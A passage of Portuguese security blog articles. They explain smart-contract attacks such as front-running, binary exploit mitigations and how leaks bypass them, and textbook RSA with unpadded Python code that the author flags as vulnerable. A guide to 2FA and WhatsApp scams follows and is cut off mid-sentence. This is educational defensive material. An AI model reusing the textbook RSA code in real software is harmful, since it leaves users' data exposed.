vez que os mineradores preferem minerar blocos que possuem recompensa maior. É possível ver os gas prices que estão sendo usados e quanto tempo está demorando para uma transação ser inserida na blockchain: https://etherscan.io/gastracker (os gas prices estão em gwei = giga wei = 10^9 wei) Utilizando dessa funcionalidade, um atacante pode fazer suas transações serem processadas mais rapidamente que transações de outras pessoas. Exemplo Um Smart Contract publica uma hash MD5. Quem achar uma colisão pra essa hash chama a função submitSolution() e recebe uma recompensa. Alice acha uma colisão e chama a função. Um atacante vê que Alice descobriu a solução na blockchain e que seu bloco está sendo minerado. O atacante chama a mesma função com a solução roubada de Alice e coloca um gas price maior. O bloco do atacante é minerado antes do bloco da Alice e o atacante recebe a recompensa. Mitigação É possível fazer uma função segura fazendo com que inicialmente é enviado um hash da solução (nesse caso em específico não pode ser md5) e após um tempo determinado é enviado a solução de fato. Assim, quem possui a solução sabe qual é a hash da solução e quem está tentando "roubar" a solução monitorando a blockchain não conseguirá ver a solução. Além disso, o Smart Contract saberá quem enviou a hash primeiro e não terá problemas de front-running. Aqui está um exemplo de como implementar isso em solidity. Para mais detalhes leia esse paper que apresenta ataques frontrunning em sistemas modernos de swap e suas mitigações. 8. Time manipulation As vezes, em um Smart Contract, é necessário utilizar medidas de tempo para certas funcionalidades. Uma maneira muito utilizada para isso é usando as diretivas block.timestamp ou now, que pega quando que o bloco foi minerado. Quem define o valor disso, portanto, são os mineradores. Sabendo disso, é possível atacar certos Smart Contracts que utilizam tempo para coisas sensíveis se o atacante minerar um bloco que tenha uma chamada para esse Smart Contract. 9. Short Address Attack Esse ataque se baseia no princípio que o solidity, quando vai fazer uma chamada para outra função, utiliza a especificação da ABI (Application Binary Interface) para enviar os parâmetros. Os parâmetros do tipo address, por exemplo são inteiros de 20 bytes que são encodados no ABI para 32 bytes (são adicionados 12 bytes). Porém, se for enviado um endereço de 19 bytes, o ABI vai adicionar 12 bytes e terminará com 31 bytes. Isso implica na maneira de como os argumentos são tratados na hora de utilizar eles na função. Mais detalhes práticos explicados nesse artigo . Mitigação Sempre checar os argumentos que estão sendo passados para as funções do seu contrato. 10. Unknown Unknowns Essa categoria incluem vulnerabilidades mais genéricas e falhas que ainda não foram descobertas. O solidity é uma linguagem que ainda não chegou em sua versão estável e está em constante desenvolvimento, isso traz possibilidade de novas categorias de vulnerabilidades sendo encontradas. Além disso, essa categoria também relembra que cada caso é um caso; todos os Smart Contracts possuem características específicas e, portanto, podem ter vulnerabilidades específicas. Enquanto existirem novos contratos sendo criados vão existir novas vulnerabilidades sendo encontradas. Casos reais As vulnerabilidades citadas aqui não foram consideradas top 10 por acaso. Elas foram encontradas em dApps reais e podiam causar um prejuízo milionário. Aqui estão alguns write-ups, sobre as vulnerabilidades citadas, encontradas em Smart Contracts nas principais mainnets (redes principais, não as de teste - testnets😞 Reentrancy - The DAO Bad Randomness + Time Manipulation - Casino Access Control - Multi-sig Unchecked Return Values for Low-Level Calls - King of the Ether Denial of Service - GovernMental Front-Running - Sandwich Attacks Unknown Unknows - $BURG token Hoje em dia, a preocupação é dobrada em relação à segurança em Smart Contracts devido ao crescimento do ecossistema descentralizado blockchain. Os grandes projetos, além de fazerem um "audit", também possuem programas de Bug Bounty que recompensam pessoas que acharem vulnerabilidades em seus contratos. A principal plataforma de Bug Bounty de Smart Contracts é o Immunefi, onde tem programas que oferecem até $10.000.000 por uma falha crítica. CTFs Para aprender na prática, nada melhor que CTFs (desafios de segurança) de Smart Contracts. Aqui estão alguns sites para aprender segurança de contratos inteligentes na prática: Capture the Ether Damn Vulnerable DeFi Lista de de CTFs sobre blockchain Referências EVM: https://ethereum.org/en/developers/docs/evm/ DASP: https://dasp.co/ OpenZeppelin: https://openzeppelin.com/ OpenZeppelin Docs: https://docs.openzeppelin.com/ Integer Overflow: https://solidity-by-example.org/hacks/overflow/ Ethereum Gas Security: https://medium.com/consensys-diligence/silent-but-vulnerable-ethereum-gas-security-concerns-adadf8bfb180 Ethereum blockchain explorer: https://etherscan.io/
  3. Durante o estudo de exploração de binários executáveis, uma das primeiras e mais importantes coisas que vemos são as proteções como NX, PIE, ASLR, de entre outras. Hoje vamos ver um pouco mais de perto cada uma delas. NX No eXecute (NX) é uma das proteções mais simples e mais lógica, implementada por volta de 2004. Durante a execução de um binário sem essa proteção ativada, a sua stack, heap e outras regiões possuíam poder de execução, simples assim. Os processadores da família x86 tardaram muito para implementar o bit NX, que basicamente é uma forma de sinalizar uma página em memória como executável ou não. Isso gerou projetos para tentar emular tal proteção via software, como o Exec Shield, um projeto da Red Hat que continha um patch no kernel do Linux para emular o funcionamento do NX. No kernel Linux, o suporte para o NX foi adicionado oficialmente em 2004. Patches como o mencionado acima, do Exec Shield, já existiam desde 2002. No Windows, a proteção está presente desde 2003 com o nome de DEP (Data Execution Prevention), porém a DEP emulada via software funciona de uma forma diferente: ela não se baseia no bit NX, mas sim checando sempre que uma exceção é realizada se o endereço da execução bate com a tabela de funções do binário. Essa proteção é ativada ou não durante o carregamento do binário na memória. No Linux isso é controlado com uma flag exec no segmento PT_GNU_STACK do binário. Já no Windows, as configurações ficam no arquivo Boot.ini, podendo ter até quatro opções diferentes: OptIn: Apenas em binários do sistema a proteção é ativada. OptOut: A DEP é ativada por padrão para todos os processos. AlwaysOn: Todos os processos têm a DEP ativada e não existe a possibilidade de desativar para um processo específico. AlwaysOff: A proteção não é habilitada para nenhum processo. PIE/PIC O Position-Independent Executable (PIE) ou Position-Independent code (PIC) não é em si uma proteção, mas uma técnica para criar código, assim como o nome diz, independente de posição. Isso significa que, onde o código for alocado, ele conseguirá executar sem problemas, diferente de binários comuns, os quais precisam ser carregados em lugares específicos para fazerem referências de forma correta. Essa técnica é usada principalmente para bibliotecas (shared libraries). O problema disso durante a exploração é que os endereços do binário também são randomizados com a ASLR, proteção que vai ser explicada a seguir, impossibilitando, assim, conhecer os endereços do binário e consequentemente utilizar Return Oriented Programming (ROP) para explorar uma vulnerabilidade deixa de ser viável. A solução para fazer bypass dessa proteção é conseguir um vazamento (leak) de memória, pois é possível calcular a base já que os offsets continuam os mesmos. Como o PIE é uma forma de gerar código, não é possível "desabilitá-lor", porém se a ASLR estiver desligada, o endereço base se manterá o mesmo, não tento efeito prático para mitigar uma ROP, por exemplo. ASLR A Address Space Layout Randomization (ASLR), assim como o nome diz, tem a função de randomizar endereços como os da heap, stack e bibliotecas. Como uma proteção em nível de sistema, cada sistema operacional mantém uma implementação própria. No Linux, a ALSR já está presente desde a sua versão 2.6.12, lançada em 2005. Executáveis PIE também possuem um endereço base randômico desde 2003, porém ambos com uma implementação fraca e com pouca aleatoriedade. O PaX e o Exec Shield (mencionado acima) foram responsáveis por patches com uma implementação mais complexa e segura. O endereço da stack com essas alterações podem ter até 524.288 variações diferentes. Por padrão, a ASLR é configurada no Linux através do arquivo /proc/sys/kernel/randomize_va_space e pode possuir três valores diferentes: 0 para desabilitar, 1 para randomizar stack, bibliotecas e executáveis PIE e 2, o valor mais alto, para randomizar também a base da heap. É possível, também, ativar ou desativar para processos isoladamente usando um recurso chamado personality . O Windows teve sua implementação da ASLR lançada em 2007 com uma abordagem diferente: a ASLR só é ativada em executáveis e DLLs que possuírem uma "flag" no processo de linkagem e todos os membros precisam possuir essa "flag". Por exemplo, suponha que A.exe dependa de B.dll e C.dll. Caso C.dll não tenha ASLR habilitada, A.exe não terá a proteção ligada. Hoje em dia essa é uma situação rara, pois apenas programas mais antigos não possuem suporte para ASLR. Canary O canary é uma proteção muito interessante. Ao compilar algum código com essa proteção, o compilador adiciona um fragmento de código no começo e no final de cada função. No prólogo da função, se cria uma variável local na stack com um valor aleatório e no final se acessa essa mesma variável para verificar a integridade do valor, validando se continua o mesmo. Caso tenha mudado, uma função de callback é chamada para gerar um abort, assim evitando transbordamentos de memória. O GCC, LLVM, Intel compiler entre outros compiladores possuem implementações do canary. O valor aleatório citado acima é o chamado canary ou stack cookie. Esse cookie pode ser classificado de três formas: terminator O terminator Canary se baseia na observação de que a maioria das vulnerabilidades de buffer overflow acontecem em cenários de manuseio de strings que finalizam com um null byte (\0). Em contrapartida, o cookie é construído com null byte (\0), CR (\r), LF (\n) e FF (\f). Como resultado, isso mitiga um buffer overflow em funções como strcpy(), pois, mesmo sabendo o valor do cookie, não é possível copiá-lo com esse tipo de funções, já que ela ira retornar assim que ler o nullbyte. random Neste tipo, Random Canaries são gerados randomicamente a cada execução a partir de alguma fonte de entropia. Além disso, esse valor não é facilmente lido, pois no carregamento do binário esse valor é armazenado em uma variável global, que é alocada em uma região não mapeada de memória para dificultar ainda mais seu acesso. As formas mais viáveis de ler o cookie são com um vazamento da stack ou sabendo o endereço exato da variável global. random XOR O random XOR Canary é o tipo mais complexo. Seu valor é basicamente determinado a partir de operações XOR de vários valores de controle, como stack pointer, endereço de retorno, etc. Dessa forma, se o Canary ou os dados usados no cálculo forem corrompidos, o programa irá gerar um abort. Para conseguir enganar essa checagem de integridade, é necessário vazar não apenas o cookie, mas também os dados usados no cálculo e o próprio algoritmo para gerar o mesmo. RELRO A RELocation Read-Only (RELRO) é uma proteção exclusiva do Linux, ou melhor, do formato ELF, que tem como intenção deixar as seções relacionadas a realocação como somente leitura (read-only). As seções de realocação, de forma resumida, são onde são armazenados os endereços de funções externas, como as da libc. Por padrão, essas regiões de memória possuem permissão de leitura e escrita (read/write), pois normalmente é utilizada lazy bind, uma forma de resolver esses endereços não em tempo de carregamento, mas durante a execução, logo antes da chamada. Essa proteção foca exatamente nessa região de meória. A realocação dos endereços é feita antes de passar o controle para o programa e a região é marcada como somente leitura, impossibilitando, assim, que um atacante a sobescreva com endereços maliciosos. Existem dois tipos de RELRO: partial e full, onde a partial marca como somente leitura a maioria das seções, exceto a Global Offset Table (GOT), na seção .got.plt. Já a full, como se deve imaginar, força que todos os símbolos e endereços sejam resolvidos durante o carregamento do binário, permitindo que a GOT seja completamente read-only. Referências - A hardware-enforced BOF protection: - http://index-of.es/EBooks/NX-bit.pdf - Windows ISV Software Security Defenses - https://docs.microsoft.com/en-us/previous-versions/bb430720(v=msdn.10) - Position-Independent Code with GCC for ARM Cortex-M - https://mcuoneclipse.com/2021/06/05/position-independent-code-with-gcc-for-arm-cortex-m/ - Effect of ASLR to Memory Deduplication - https://www.semanticscholar.org/paper/Effect-of-ASLR-to-Memory-Deduplication-Ratio-in-)-Piao-Sung/3f74d25c72322315ec3b6552e6c3d4413af95022 - Exploit Protection Mechanisms - https://ocw.cs.pub.ro/courses/cns/labs/lab-06 - Hardening ELF binaries using Relocation Read-Only (RELRO) - https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro
  4. Continuando a série de artigos com foco em criptografia, hoje veremos um dos primeiros algoritmos de chave assimétrica, o RSA, que permite estabelecer uma conexão segura entre duas entidades sem contato prévio entre elas. Antes de prosseguir, vale relembrar boas práticas apresentadas no artigo do Chinchila: nunca implemente um esquema criptográfico, utilize bibliotecas reconhecidas pela comunidade, preferencialmente de código aberto. Outro ponto importante é que o RSA parece simples em termos matemáticos, mas é fácil de ser utilizado de maneira incorreta na construção de protocolos e/ou implementado de forma a inserir várias vulnerabilidades. O algoritmo básico apresentado aqui não garante proteção contra a maioria de tais vulnerabilidades. Por fim, serão apresentadas simplificações no algoritmo e código em Python para auxiliar a compreensão. Criptografia de chave assimétrica Como apresentado no primeiro artigo de criptografia, algoritmos de chave assimétrica possuem 2 chaves: uma chave pública e uma chave privada (secreta). O uso correto de ambas as chaves permite que duas pessoas estabeleçam um canal de comunicação seguro sem a necessidade de terem combinado chaves anteriormente. O funcionamento do algoritmo é análogo a uma caixa de correio como a da foto abaixo. Vamos considerar que a comunicação segura é estabelecida entre a pessoa que envia uma carta e o correio. Quando a pessoa vai enviar a carta, basta deixá-la na caixa. Para manter a analogia mais precisa, vamos considerar que existe uma chave disponível junto à caixa de correio e que ela deve ser utilizada para depositar a carta na caixa. Qualquer usuário pode ter acesso a chave para depositar cartas na caixa, por isso tal chave é denominada chave pública. Caixa de correio - Fonte: Wikipedia Apenas o Correio possui a chave necessária para abrir a caixa, portanto sabemos que somente ele pode receber as cartas depositadas na caixa. Esta chave é denominada chave privada. Dessa forma, o usuário pode enviar mensagens que somente o correio pode ler. Isso ocorre porque todas as mensagens deixadas na caixa só podem ser recebidas pelo detentor da chave privada, ou seja, o próprio correio. Um dos primeiros algoritmos capazes de proporcionar a funcionalidade descrita é o RSA. Aritmética modular A aritmética modular é feita apenas com números inteiros. Utilizando mais uma analogia, a aritmética modular é próxima ao funcionamento de um relógio. O ponteiro das horas de um relógio tem funcionamento cíclico, nunca é maior que 11 e menor que 0 (considerando que 12h = 0h). Sempre que o relógio ultrapassa 11h, o relógio volta a contar a partir de 0h. O mesmo vale para somar horas: somando 10h com 4h, o resultado será 2h. Nesse caso, diz-se que as operações são feitas "módulo 12", também representadas por "8 + 6 = 2 mod 12". Computar o valor de a módulo b pode ser interpretada também como calcular o resto da divisão de a por b, por exemplo 23 = 2 mod 7, porque 23 = 7\*3 + 2, 16 mod 4 = 0, porque 16 = 4\*4 + 0 Em Python, o operador "%" é utilizado para computar a operação modular: print(23%7) Além da soma, também existem as operações de multiplicação e potenciação modular. Essas operações são computadas assim como na aritmética regular. Em seguida, é calculado o resto da divisão pelo valor do módulo, por exemplo: 3\*7 mod 5 -> 3\*7 = 21 = 4\*5+1 = 1 mod 5 3^5 mod 7 -> 3^5 = 243 = 34\*7 + 5 = 5 mod 7 print(3*7%5, pow(3,5,7)) # no Python, pow(a,b,c) = (a**b)%c O RSA O algoritmo RSA utiliza a potenciação modular, onde os expoentes são as chaves. Conforme a analogia da caixa de correio, existe uma chave pública, representada por e, e uma chave privada (secreta), representada por d. O valor do módulo é representado por N e é calculado como o produto de dois inteiros primos, representados por p e q. A segurança do algoritmo depende, entre outros fatores que não serão apresentados aqui, do tamanho de p e q, sendo recomendado usar primos de no mínimo 1024 bits. from random import randint from sympy import isprime def random_prime(lower_bound, upper_bound): while True: r = randint(lower_bound, upper_bound) if isprime(r): return r p = random_prime(2**512, 2**513) q = random_prime(2**512, 2**513) N = p*q print(p, q, N) As chaves pública e privada devem ser calculadas de forma que uma mensagem encriptada pela chave pública pode ser desencriptada somente com o conhecimento da chave privada. Em outro artigo será apresentado o porque de calcular as chaves conforme o código abaixo. phi = (p-1)*(q-1) e = 17 d = pow(e, -1, phi) print(e, d) Consideramos que a mensagem a ser enviada seja "artigo_RSA_mente_binaria". Ela deve ser convertida para uma representação em números inteiros com a função bytes_to_long da biblioteca Pycryptodome: from Crypto.Util.number import long_to_bytes, bytes_to_long msg = b"artigo_RSA_mente_binaria" m = bytes_to_long(msg) print(m) A encriptação da mensagem consiste em elevar o valor inteiro da mensagem à chave pública e: ciphertext = pow(m, e, N) print(ciphertext) print(long_to_bytes(ciphertext)) É possível ver que, após a encriptação, é difícil ver qualquer relação entre a mensagem original e a mensagem encriptada. Para que o destinatário recupere a mensagem, basta que ele faça o mesmo procedimento da encriptação, mas utilizando o expoente secreto d: plaintext = pow(ciphertext, d, N) print(plaintext) print(long_to_bytes(plaintext)) Importante Esse artigo apresenta apenas uma introdução ao RSA, diversas partes importantes foram omitidas para facilitar a compreensão. Existem várias vulnerabilidades inerentes a uma implementação básica como essa. Uma boa forma de estudar e compreender melhor esse algoritmo e suas vulnerabilidades é analisar e implementar estes ataques. No ASIS CTF Quals 2021 havia um chall que envolvia uma versão modificada do RSA, mas suscetível às mesmas vulnerabilidades. O write-up do ELT pode ser encontrado aqui. Para saber mais, recomendo os challs do Cryptohack e as próximas postagens aqui no site. Bom estudo, se tiver dúvidas e/ou sugestões deixe nos comentário abaixo, até a próxima! Código from random import randint from sympy import isprime from Crypto.Util.number import long_to_bytes, bytes_to_long def random_prime(lower_bound, upper_bound): while True: r = randint(lower_bound, upper_bound) if isprime(r): return r p = random_prime(2**512, 2**513) q = random_prime(2**512, 2**513) N = p*q print(p, q, N) phi = (p-1)*(q-1) e = 17 d = pow(e, -1, phi) print(e, d) msg = b"artigo_RSA_mente_binaria" m = bytes_to_long(msg) print(m) ciphertext = pow(m, e, N) print(ciphertext) print(long_to_bytes(ciphertext)) plaintext = pow(ciphertext, d, N) print(plaintext) print(long_to_bytes(plaintext))
  5. Você está realmente seguro enquanto navega na Internet? E enquanto troca mensagens com os seus amigos? Essas são perguntas cujas respostas infelizmente não são preocupação para a maioria dos usuários da rede mundial de computadores. Vamos descobrir as respostas a elas? E como mudar os seus hábitos para navegar de forma mais segura? Nesse artigo vamos estudar um pouco sobre autenticação. Começaremos com uma breve introdução, seguindo com os tipos e níveis de autenticação. Ao final veremos a importância da autenticação de dois fatores (2FA), muito comentada ultimamente como método para se evitarem golpes digitais (muito recorrentes nos últimos anos), e extremamente relevante para qualquer usuário da Internet. Vale a pena dar uma lida para garantir que está seguro! Vamos lá! Definição A palavra autenticação tem origem na Grécia e significa algo como "autor real", isto é, a garantia de que quem tenta acessar um determinado sistema é realmente quem o sistema espera que seja. Em outras palavras, é a garantia de que uma entidade é quem diz ser. Fonte: https://www.serpro.gov.br Aplicações Autenticação é importante em diversas áreas, não somente em segurança da informação como muitos tendem a pensar inicialmente. Em artes, como saber se um quadro é de fato de um determinado pintor? Em antiguidades, como saber se um determinado artefato foi de fato produzido por uma determinada civilização ou numa determinada época? No nosso cotidiano, como saber se um determinado contrato foi assinado pelas partes do mesmo? E finalmente, em segurança da informação, como saber se um usuário é de fato quem diz ser? Ou seja, como garantimos, em qualquer área, que não seremos vítimas de fraude? Métodos Para quaisquer dessas áreas existem diversos métodos de autenticação. Eles estão divididos em três tipos: O primeiro tipo se baseia em confiança numa pessoa específica, geralmente uma pessoa importante em relação ao assunto da autenticação em questão, um especialista na área. A fragilidade desse tipo é a centralização da confiança numa pessoa, que pode errar ou ser corrompida. Fonte: https://www.theartnewspaper.com O segundo tipo se baseia em comparação de características da entidade analisada com outra de que se conhece a origem e serve para determinar se ambas tem a mesma precedência. A fragilidade desse processo é que é possível criar uma cópia perfeita, apesar de ser necessário conhecimento especializado para tal. Fonte: https://www.nytimes.com O terceiro tipo se baseia em documentos externos que podem comprovar a precedência da entidade. Esse é o tipo comumente usado em segurança da informação, onde as provas externas são senhas, tokens, etc., mas mesmo assim são apenas indícios de autenticidade, a fragilidade desse tipo é a falsificação desses documentos ou, como no caso de credenciais, o roubo dos mesmos. Fonte: http://www.usauthentication.com Fatores Com o objetivo de dificultar o comprometimento da autenticidade de serviços digitais, existem três fatores básicos de autenticação que, combinados, reduzem as chances de comprometimento de credenciais. Cada um deles se baseia em o que o usuário deve fornecer para garantir que ele é mesmo quem diz ser: Fonte: https://admin.salesforce.com Fator de conhecimento ("o que você sabe"): O usuário deve fornecer alguma informação que teoricamente somente ele sabe, como senhas, PINs, respostas a perguntas de segurança, etc. Senhas, por exemplo, são códigos criados pelo usuário que devem ser utilizadas para autenticações em sistemas. Nesse caso, a responsabilidade sobre a "força da senha", relacionada a sua resistência a um ataque de força bruta (descrito mais adiante), é do usuário, visto que ele é o responsável por sua criação. Atualmente, os serviços tentam exigir e restringir determinados padrões de senha de forma a melhorar a segurança. A empresa também tem responsabilidade sobre a segurança da senha em relação ao seu armazenamento (feito em formato de hashes), visto que a verificação deve ser feita a cada autenticação. Fator de inferência ("o que você é ou faz"): O usuário deve mostrar algo relativo a seu ser ou algo que teoricamente somente ele consegue fazer, como impressão digital, padrão de retina, DNA, rosto, voz, assinatura, etc. Nesse caso, a segurança depende do próprio usuário, visto que a prova de autenticação faz parte do corpo ou depende da habilidade do mesmo. Fator de propriedade ("o que você tem"): O usuário deve utilizar algo que teoricamente somente ele possui, como cartões de identificação, tokens (de hardware ou software), chips implantados, par de chaves público-privada, etc. Tokens de software, por exemplo, são dados que sozinhos não fazem sentido, mas que, quando recebidos pelo sistema de validação, o mesmo consegue verificar a validade e as permissões de acesso do mesmo. Eles são criados pelo serviço e o usuário o recebe por um meio e o fornece por outro. Nesse caso, o responsável pela segurança do token é o usuário, que não pode o fornecer para terceiros. Assim, o ataque de força bruta geralmente não é efetivo, pois um token bem implementado tem tempo de vida, de forma que o atacante não teria tempo hábil para esse ataque, além de que, sempre que possível, códigos relacionados a fator de propriedade são extremamente seguros (grandes e aleatórios). Autenticação em um fator Essa forma de autenticação usa apenas um dos fatores acima para autenticar uma transação. Ela é extremamente contra indicada em processos relativos a serviços de alta importância e que, portanto, exigem alto nível de segurança, como serviços bancários ou que possam armazenar ou transmitir dados pessoais relevantes, como documentos, telefone, endereços, parentescos próximos, senhas, etc. Alguns aplicativos de mensagem, como WhatsApp, por padrão se utilizam de apenas um fator de autenticação (fator de propriedade), o que é a principal causa das fraudes frequentemente relatadas pela imprensa ou conhecidos próximos. Continue a ler para aprender como evitar tais fraudes. Autenticação em múltiplos fatores Essa forma de autenticação, em que 2FA (ou autenticação em dois fatores) é um caso especial, usa ao menos dois fatores dos anteriores de forma que os dois níveis de precisam ser comprometidos por um invasor para que o mesmo consiga acesso ao serviço, o que é muito mais difícil de ocorrer em comparação à utilização de apenas um fator. Fonte: https://manuaisti.anac.gov.br A maioria dos sistemas digitais online que fornecem autenticação em dois fatores se utilizam do fator de conhecimento (usuário e senha) e fator de propriedade (token), não necessariamente nessa ordem. Ataques Relacionados e suas consequências Essa seção vai o ajudar a responder às perguntas iniciais: "Você está seguro enquanto navega na Internet? E enquanto troca mensagens?". Vamos ver a seguir alguns ataques relativamente simples que podem ser prevenidos com práticas fáceis, mas a que nem todos os usuários se atentam. Ataques cibernéticos relacionados a autenticação são muito comuns, pois a "parte fraca", ou seja, a parte do sistema explorada pelo atacante, é o usuário comum, aquele que tem pouco ou nenhum conhecimento sobre segurança digital e, portanto, é a mais fácil de ser explorada. Ataques de Engenharia Social Fonte: https://www.urbannetwork.co.uk/social-engineering/ Esse é um conjunto de ataques em que a princípio não é necessário nenhum conhecimento técnico de computação ou segurança da informação, nem ao menos serve somente para ataques digitais e justamente por isso é a técnica mais usada. O atacante se vale de manipulação psicológica para fazer com que a pessoa forneça informações que não deveria. Um exemplo muito simples de engenharia social que funcionava muito bem anos atrás (em alguns sites ainda funciona) é a obtenção daquelas respostas secretas, necessárias para recuperar senhas perdidas. Em uma breve conversa com a vítima, um atacante é capaz de obter as respostas a essas perguntas e, consequentemente, de conseguir acesso à conta da vítima. Para não se tornar vítima desse ataque, evite esse método de acesso ou tenha certeza que não vai fornecer as respostas a ninguém. Apesar de esse método ser muito pouco usado atualmente, é sempre bom conhecer formas de evitar ataques. Uma forma é responder com palavras ou expressões que não correspondam à realidade, mas que tenha certeza que vá lembrar se precisar. Uma segunda possibilidade é escrever a resposta com uma combinação especial de maiúsculas, minúsculas, números e eventuais símbolos que o atacante não tenha menor chance de testar, mesmo obtendo a resposta correta de alguma forma, sempre destacando que você deve lembrar da mesma. Atualmente, dois dos ataques mais comuns estão relacionados ao aplicativo de mensagens WhatsApp, devido à sua popularidade e, portanto, ao ganho financeiro que o atacante terá ao explorar tal aplicativo. Ambos utilizam engenharia social. Fonte: https://www.bbc.com No primeiro e mais simples de ser realizado, porém com menor efetividade, a vítima recebe uma mensagem de um número de celular desconhecido, mas com a foto de algum amigo ou parente próximo dizendo que precisou trocar de celular por algum motivo e que precisa de dinheiro urgente, geralmente por não ter acesso aos bancos do aparelho perdido. Esse é o momento que define o final do ataque: se a vítima acreditar e transferir o dinheiro, o ataque obteve sucesso e o dinheiro não pode mais ser recuperado, caso contrário o atacante passa para a próxima vítima. Para não se tornar uma vítima, a princípio devemos prevenir, configurando a segurança das redes sociais para privado e evitando fornecer telefones, endereços e graus de parentesco nas mesmas, pois essa é a principal fonte onde os atacantes vão buscar as informações necessárias. Outra forma de prevenir é avisar os seus parentes e amigos próximos que nunca irá transferir dinheiro quando solicitado por aplicativos de mensagem. Se o atacante conseguir os seus dados, quando receber mensagem do tipo da descrita no parágrafo anterior, desconfie: a princípio lembre-se se já não avisou para essa pessoa que jamais transferiria dinheiro com pedido por mensagens, veja se a foto do WhatsApp é de fato a do seu contato, converse com a pessoa que mandou a mensagem perguntando sobre fatos que somente o seu contato real poderia saber, mas use isso somente para ter certeza que não é seu amigo, e não ao contrário, pois ela pode também ter sido vítima de engenharia social. Tente falar com a pessoa por outros meios, começando por telefonar ou mandar mensagem para o telefone teoricamente antigo. Se não conseguir falar por nenhum desses meios ou outros quaisquer e ainda pensar que pode ser verdade o pedido, ainda há algumas formas de evitar o sucesso do possível golpe: pegue a conta (ou PIX) que o atacante enviar e comece uma transferência (de preferência de valores baixos, por exemplo, R$ 0,01). Em determinado momento aparecerá os dados parciais ou totais da conta destino. Pense se esses dados fazem sentido – você conhece o dono da conta? A agência é de uma cidade conhecida em que o seu contato poderia realmente estar ou ter um conhecido? Além disso, busque pelos dados na Internet para verificar se não aparecem em fóruns, redes sociais ou outros sites em denúncias de fraudes. Muito provavelmente, depois de todas essas etapas, você já terá certeza que se trata de um golpe, se for o caso. Assim sendo, se ainda não tiver pego os dados bancários do atacante, o faça. Com os dados bancários e o número de telefone do atacante em mãos, denuncie para a polícia, para o banco proprietário da conta e para a operadora de celular dona da linha. Dessa forma você ajudará a evitar que esse atacante tenha sucesso no ataque a outras vítimas. O banco e a empresa de telefonia não podem fazer nada a princípio, mas se houver muitas denúncias sobre os mesmos dados, eles abrirão uma investigação interna para saber se de fato o telefone ou a conta bancária estão sendo usados indevidamente. Um caso especial de engenharia social muito usado é o ataque de phishing, cuja tradução literal é "ataque de pesca", pois basicamente o usuário é "fisgado" por uma armadilha enviada através da Internet, fornecendo informações pessoais ou instalando softwares maliciosos. Fonte: https://www.paubox.com/ O segundo método de ataque por WhatsApp é, na verdade, geralmente um ataque de phishing e é mais efetivo. Nesse caso, você pode ser vítima em duas possíveis etapas. A primeira diz respeito a ter a conta do WhatsApp sequestrada pelo atacante. Se você for vítima dessa primeira etapa do ataque, vai perceber quando tentar acessar o seu aplicativo e receber a mensagem de que ele foi acessado de outro aparelho celular ou quando receber um aviso de que outro celular acessou a sua conta. Nesse caso avise imediatamente todos os seus contatos de que está sem acesso ao aplicativo e que não devem considerar qualquer mensagem enviada por você. A seguir, tente acessar novamente seu WhatsApp, fornecendo o código de seis dígitos (token, fator de propriedade) que receberá do WhatsApp por SMS. Assim que acessar, o atacante perderá o acesso. Esse ataque é realizado através da obtenção do token presente no SMS citado, que se parece com esse: Perceba que, ao final da mensagem, há um texto pedindo que esse código não seja compartilhado com ninguém, mas, por mais incrível que possa parecer, as vítimas desse golpe fazem justamente isso: fornecem o código ao atacante. Vamos aos detalhes: o atacante tenta acessar o WhatsApp com o seu número de telefone, o que faz com que você receba essa mensagem. Nesse momento, muito provavelmente o atacante já está conversando com você e se identificou como funcionário de um serviço qualquer, seja uma pesquisa de mercado, um banco em que você tem conta, uma loja em que você comprou recentemente ou mesmo o próprio WhatsApp. No meio da conversa ele irá dizer que o enviará um código por SMS e que precisa que você confirme esse código por algum motivo. Não forneça o código para ninguém, mesmo que o atacante se identifique como funcionário do WhatsApp. E mais: sempre prefira entrar em contato com empresas pelo aplicativo da mesma baixado da loja oficial do seu smartphone, pois é a forma mais segura de não ser uma fraude. É bom destacar aqui que o WhatsApp nunca pede esse código por nenhum meio, ele deve ser escrito somente no aplicativo quando o mesmo pedir para liberar o seu acesso. Existe ainda uma segunda forma de evitar ser vítima do golpe mesmo que acidentalmente forneça o código ao atacante: autenticação em múltiplos fatores (particularmente em dois fatores). O WhatsApp tem um recurso que poucos conhecem em que o usuário cria uma senha (fator de conhecimento) que também jamais será solicitada a não ser pelo próprio aplicativo às vezes para ter certeza de que você é você mesmo, mas o mais importante e que evita esse ataque é que todas as vezes em que tentar acessar o aplicativo por um novo telefone, ele irá pedi-la, de forma que para que o ataque tenha sucesso, a vítima tem que fornecer tanto o token enviado por SMS quanto a senha configurada pelo próprio usuário, o que reduz muito as chances do sucesso por parte do atacante. É altamente recomendado que todos os usuários configurem esse segundo fator de autenticação, mesmo porque se você não o fizer e o atacante for rápido o suficiente, ele pode configurar uma senha e, nesse caso, você terá maior dificuldade para recuperar o acesso, dando tempo para os seus amigos desavisados serem vítimas do atacante se passando por você. Para ativar o recurso, siga os passos abaixo, cujas imagens foram obtidas no site Techtudo: Entre no WhatsApp Toque nos três pontos no canto superior direito. A seguir toque em "Configurações" e "Conta". Toque em "Confirmação em duas etapas" e "Ativar". Insira a senha desejada e toque em "Avançar". Insira o e-mail para recuperação de senha caso a perca e toque em "Avançar". Fonte: https://www.techtudo.com.br Mesmo se defendendo como explicado, você pode ainda ser vítima da segunda parte desse ataque, quando o atacante, em posse de uma conta de algum dos seus amigos, lhe manda mensagem pedindo dinheiro. Por esse motivo, é importante você avisar aos seus contatos assim que perceber que foi vítima de sequestro de conta. Faça a sua parte para evitar que outros sofram com a segunda parte do ataque, mas também fique atento caso algum conhecido seu o sofra (recomende a eles a ativação de autenticação em dois fatores para que isso não ocorra). Caso receba a mensagem de um contato pedindo dinheiro, siga passos semelhantes aos do ataque descrito anteriormente para verificar se de fato se trata da pessoa que diz ser e denuncie para as autoridades e empresas envolvidas caso seja uma tentativa de golpe, como detalhado anteriormente. Existem ainda ataques de phishing genéricos pelos mais diversos meios de comunicação: Telefone: Evite fornecer seu telefone para empresas desconhecidas e sempre que receber uma chamada de um número desconhecido suspeite. Não forneça dados, mesmo que a pessoa se identifique como funcionário de uma empresa confiável (qualquer um pode fazer isso). Fonte: https://pt.vecteezy.com E-mail: Sempre que receber um e-mail que solicite uma resposta ou que acesse determinado link, desconfie, mesmo que aparentemente seja proveniente de empresa confiável e/ou conhecida. Verifique o cabeçalho do e-mail para ter certeza de que o endereço de origem é conhecido e confiável, e em caso de dúvida, entre em contato com o suposto remetente por outros meios previamente conhecidos, ignorando totalmente o e-mail. Além disso, denuncie o e-mail, clicando em classificar como spam e, a 